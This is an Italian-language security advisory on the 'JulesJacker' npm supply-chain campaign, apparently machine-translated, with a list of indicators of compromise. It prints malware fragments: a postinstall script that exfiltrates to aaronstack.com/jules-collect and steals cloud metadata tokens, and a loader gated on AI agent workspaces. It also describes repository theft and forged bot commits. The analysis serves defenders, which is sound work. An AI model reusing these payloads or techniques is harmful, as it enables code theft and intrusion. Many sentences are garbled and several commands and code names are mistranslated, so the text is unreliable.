TL; DR
Un singolo operatore npm ha trascorso sei settimane a pubblicare pacchetti di "utilità" TypeScript falsi come ts-form-utils, ts-project-linte ts-enum-helper.
Sebbene i pacchetti mostrino piccoli helper di validazione dall'aspetto legittimo, il vero payload viene eseguito all'installazione o alla prima richiesta e svolge attività di fingerprinting dell'host, individuazione dell'organizzazione GitHub, clonazione del repository ed esfiltrazione del codice sorgente.
Il malware prende di mira specificamente le organizzazioni GitHub di alto valore, tra cui diverse Shopify: I repository, quindi gli archivi e gli esfiltrano gli alberi sorgente raggiungibili verso un endpoint di raccolta centralizzato.
Come parte del flusso di lavoro di compromissione, il payload commitfile sa nei repository delle vittime mentre si impersona l'identità di codifica autonoma di Google google-labs-jules[bot].
Abbiamo monitorato la campagna — denominata JulesJacker — su più ambiti di editori e almeno cinque generazioni di payload, incluse varianti crittografate e compatibili con le sandbox.
La variante più recente prende di mira specificamente le infrastrutture di analisi del malware: si attiva solo all'interno degli ambienti di analisi, ruba i token degli account di servizio dei metadati cloud e sonda i piani di controllo di Kubernetes e i bucket di archiviazione cloud.
L'IOC primario condiviso tra tutte le generazioni di payload è l'endpoint di raccolta. aaronstack[.]com/jules-collect.
Gravità: critica.
L'attacco: come funziona
Ogni pacchetto JulesJacker segue lo stesso modello. pacchetto.json pubblicizza un helper TypeScript benigno con licenza MIT e senza repository sorgente collegato. index.js esporta una manciata di funzioni reali e funzionanti — regex per le email, mappe enum, tabelle di regole lint — in modo che uno sviluppatore che importa effettivamente il pacchetto veda un comportamento plausibile. La malizia risiede altrove: in un post-installazione gancio, o in un blocco in fondo a index.js che viene eseguito nel momento in cui il modulo è richiesto.
I carichi utili si sono evoluti attraverso fasi interne chiaramente numerate (l'operatore etichetta i propri eventi di telemetria) sc1-, sc3-, sc4-(e così via), e osservare tale evoluzione è il modo più chiaro per comprendere la campagna.
Generazione 1–2: ricognizione e furto di git-config
I primi pacchetti erano semplici furti di informazioni. All'installazione raccoglievano le variabili d'ambiente, il file hosts della CLI di GitHub e la configurazione git globale (git config –global –list, git remoto -v), quindi ha inviato il pacchetto tramite POST all'endpoint della raccolta. Questo ha stabilito la firma dell'operatore: una storia di copertura di "utilità di convalida dei moduli TypeScript", un segnale in uscita verso un singolo dominio e una preferenza per le credenziali degli sviluppatori piuttosto che per i dati dei consumatori.
Terza generazione: sonde di fuga per hypervisor e kernel
Una versione a metà campagna ha virato bruscamente verso gli attacchi alle infrastrutture. Invece di rubare la configurazione, ha eseguito un'operazione di ricognizione per sondare AF_VSOCK prese, regioni virtio MMIO, / dev / mem, e flag di hardening del kernel e persino tentativi di arresto anomalo del kernel innescati da sysrq: comportamento associato ai tentativi di uscire da una macchina virtuale o da un container. I tag di telemetria (s0-vmm-recon, s1-vmm-vsock-fuzz, s2-vmm-mmio, s3-kernel-probe) ha reso esplicito l'intento. Questa variante era chiaramente mirata a ambienti cloud-sandbox e serverless-runner — quel tipo di macchina virtuale effimera che compila e testa codice non affidabile.
Generazione 3 (SC3): il worm di scrittura cross-repo
Il fulcro della campagna è diventato un sistema di furto di repository auto-propagante. Una volta installato, il payload esegue una sequenza temporizzata in cinque fasi:
- Stage 0 (~100 ms): impronta digitale dell'host: nome host, informazioni utente, identità git.
- Stage 1 (~3 s): determinare a quale organizzazione appartiene la vittima ispezionando git remoto -v, quindi cerca un hardcoded ORG_CONFIG accesso alla tabella e al repository di test con git ls-remote — instradato attraverso un proxy SSRF controllato dall'attaccante a http://git@192.168.0.1:8080.
- Stage 2 (~10 s): git clone Per ogni repository raggiungibile nell'elenco di destinazione, comprimere l'albero in formato tarball e gzip, codificarlo in base64 ed estrarlo a blocchi.
- Stage 3 (~45 s): la “prova di accesso” — clona un repository scrivibile, rilascia un file denominato SECURITY-POC.md e commit con l'autore impostato su google-labs-jules[bot] <161369871+google-labs-jules[bot]@users.noreply.github.com> e il messaggio chore: aggiorna la cache delle dipendenze, quindi esegui il push sul ramo principale della vittima.
L'elenco di destinazione codificato non è generico. Enumera più di trenta Shopify: repository per nome — Shopify/shopify, Shopify/identità, Shopify/fatturazione, Shopify/vault, Shopify/segreti, Shopify/infrastruttura, Shopify/.githube molti altri — insieme a un'organizzazione di test, AaronStackBarnes, che l'operatore sembra controllare e utilizza come destinazione di scrittura.
Generazione 4 (SC4): crittografata e con accesso controllato
La variante più recente, destinata agli sviluppatori, aggiunge due livelli di elusione al worm SC3.
Innanzitutto, il payload non viene più inviato in chiaro. La logica reale si trova in un blob crittografato con AES-256-CBC, lib/.perf.dat, con l'IV nei suoi primi sedici byte. Il caricatore in index.js ricostruisce la chiave di decrittazione da frammenti di stringa concatenati, decifra il blob e lo esegue con nuova funzione()Anche i nomi dei moduli sono suddivisi per eludere gli scanner statici. require('crypt' + 'o'), richiede('f' + 's').
In secondo luogo, è host-gated. Una variante decifra e viene eseguita solo quando os.hostname() uguale devbox or ubuntu-fc-uvm (un microVM Firecracker predefinito) o contiene la sottostringa devbox. Un altro cancello sulla presenza di un .jules/ directory di lavoro:
javascript // only fires when a Jules agent workspace is present post('sc4-jules-dir', { cwd: cwd, jules_cwd: readDir(cwd + '/.jules'), jules_app: readDir('/app/.jules') }); In altre parole, il payload SC4 è progettato per rimanere inattivo sul laptop di un normale sviluppatore e risvegliarsi solo all'interno dell'agente AI automatizzato e ambienti sandbox L'operatore in realtà vuole scendere a compromessi.
Accensione del laboratorio: la variante infrastruttura di analisi
Il pacchetto più innovativo della campagna, ts-enum-helper, non attacca affatto gli sviluppatori o Shopify. Il suo postinstall.sh si apre con un cancello che svela il gioco:
sh # Only run in malysis GKE environment [ -z "$MALYSIS_ANALYSIS_ID" ] && exit 0 EXFIL="https://aaronstack.com/jules-collect" MD="http://metadata.google.internal/computeMetadata/v1" K8S="https://kubernetes.default.svc" Lo script non fa nulla a meno che non venga impostata una variabile d'ambiente specifica per una piattaforma di analisi del malware. In tal caso, il payload sa di essere in esecuzione all'interno della sandbox creata appositamente per testare e studiare pacchetti esattamente come questo, e quindi contrattacca.
Innanzitutto estrae il token OAuth dell'account di servizio GCP dal server dei metadati dell'istanza e lo esfiltra. Quindi, utilizzando quel token, esegue la scansione Piano di controllo di Kubernetes raggiungibile a kubernetes.default.svc:
- elenca ClusterRoleBindings, ClusterRoles e Nodes;
- sonda pod, segreti e configmap attraverso kube-system, difetto, kube-public, kube-node-leasee lo spazio dei nomi di analisi;
- Il sistema effettua chiamate a SelfSubjectAccessReview per mappare con precisione le azioni consentite all'identità rubata.
Infine, forza bruta i nomi dei bucket di Google Cloud Storage costruiti da un ID progetto GCP hardcoded (firmatario raro-437603-p9) e numero di progetto, indovinando combinazioni come *-costruzioni, *-artefattie diversi mallisi- prefissi (risultati dell'analisi, pacchetti di analisi, scansioni di analisi). Ogni codice di risposta e corpo vengono registrati e inviati tramite POST allo stesso jules-collect punto finale.
Questo è il raro caso di un payload della catena di fornitura creato specificamente per attaccare l'infrastruttura dei difensori. La storia di copertura dell'intera campagna — frammenti della quale appaiono all'interno dei payload come commenti che inquadrano il comportamento come una "PoC di ricerca sulla sicurezza... scrittura cross-repo tramite token proxy git con ambito esteso" — è la stessa autogiustificazione, sia che il target in fase di esecuzione sia un monorepo di Shopify o il server dei metadati del cluster di analisi.
Tempistiche e ambito della migrazione
JulesJacker non è un caso isolato. Si tratta di un'attività consolidata che è sopravvissuta alla chiusura di un registro semplicemente cambiando nome.
| Quando | Event |
|---|---|
| Metà aprile 2026 | I primi pacchetti appaiono sotto l'ambito dell'editore originale: interfaccia TS-utility, ambiente ed esfiltrazione di git-config. |
| Inizio maggio 2026 | È stata pubblicata una variante di ricognizione per hypervisor e kernel-escape. |
| Metà/fine maggio 2026 | Il worm di scrittura cross-repo SC3 appare insieme ai payload mirati a Shopify e google-labs-jules[bot] Impersonificazione. SC4 introduce caricatori crittografati con AES e controllati dall'host. |
| Fine maggio 2026 | npm rimuove l'ambito originale dell'editore; i nomi dei pacchetti si risolvono in segnaposto vuoti che contengono informazioni di sicurezza. |
| Stessa settimana | L'operatore migra verso un ambito quasi identico e ripubblica il worm, inclusa la variante dell'infrastruttura di analisi. |
La migrazione è la parte con cui i difensori dovrebbero sedersi. L'abbattimento del primo obiettivo non ha posto fine alla campagna né l'ha rallentata. L'operatore aveva già allestito un obiettivo parallelo il cui nome differisce dall'originale per un solo carattere, e ha continuato a pubblicare nella stessa settimana. Al momento in cui scrivo, il nuovo obiettivo è ts-form-utils (versioni da 1.0.0 a 1.1.0), il suo ts-project-lint (1.0.0 e 1.1.0) e la versione standalone ts-enum-helper (1.0.0) rimangono installabili.
Indicatori di compromesso
Tutti gli indicatori riportati di seguito sono stati confermati rispetto alla fonte del pacchetto.
| Tipo | Note | |
|---|---|---|
| Rete (C2) | aaronstack[.]com/jules-collect | Un unico endpoint di raccolta per ogni generazione; riceve dati di telemetria JSON e blocchi di archivio tarball del repository compressi in base64 gzip. |
| Rete (proxy SSRF) | http://git@192.168.0.1:8080 | Interfaccia per un token proxy Git con ambito esteso utilizzato per raggiungere i repository dell'organizzazione di destinazione. |
| Rete (cloud) | metadata.google.internal/computeMetadata/v1kubernetes.default.svcstorage.googleapis.com/storage/v1/b | Utilizzato esclusivamente dalla variante di analisi dell'infrastruttura per il furto di token e la ricognizione del piano di controllo di Kubernetes. |
| Identità | google-labs-jules[bot]161369871+google-labs-jules[bot]@users.noreply.github.com | Forgiato commit L'identità dell'autore è stata spinta nelle filiali principali della vittima. |
| Compila il | lib/.perf.dat | blob di payload crittografato con AES-256-CBC; IV memorizzato nei primi 16 byte e chiave ricostruita dinamicamente in index.js. |
| Compila il | SECURITY-POC.md | Caduto e committornato nei repository delle vittime con il messaggio chore: update dependency cache. |
| Compila il | scripts/postinstall.sh | Cancello su $MALYSIS_ANALYSIS_ID; identifica la variante di targeting dell'infrastruttura di analisi. |
| Behavioral | os.hostname() controlla devbox / ubuntu-fc-uvm | Controllo dell'ambiente (sandbox) e dell'agente AI prima della decrittazione e dell'esecuzione del payload. |
| Behavioral | .jules/ and /app/.jules la directory legge | Targeting esplicito degli ambienti di lavoro degli agenti di intelligenza artificiale. |
| Behavioral | sc1-, sc3-, sc4-, s0-vmm-recon | Etichette di fase di telemetria definite dall'operatore, utili per il rilevamento e la ricerca. |
| Destinazione cloud | rare-signer-437603-p9malysis-* stime del secchio | Identificativi di progetto GCP e modelli di enumerazione dei bucket di archiviazione codificati direttamente nel codice della variante dell'infrastruttura di analisi. |
| Forma della confezione | Facciata del pacchetto TS-utility senza campo repository | Modello di campagna coerente: falsi pacchetti di utilità TypeScript con payload dannosi incorporati in postinstall hooks o aggiunto a index.js. |




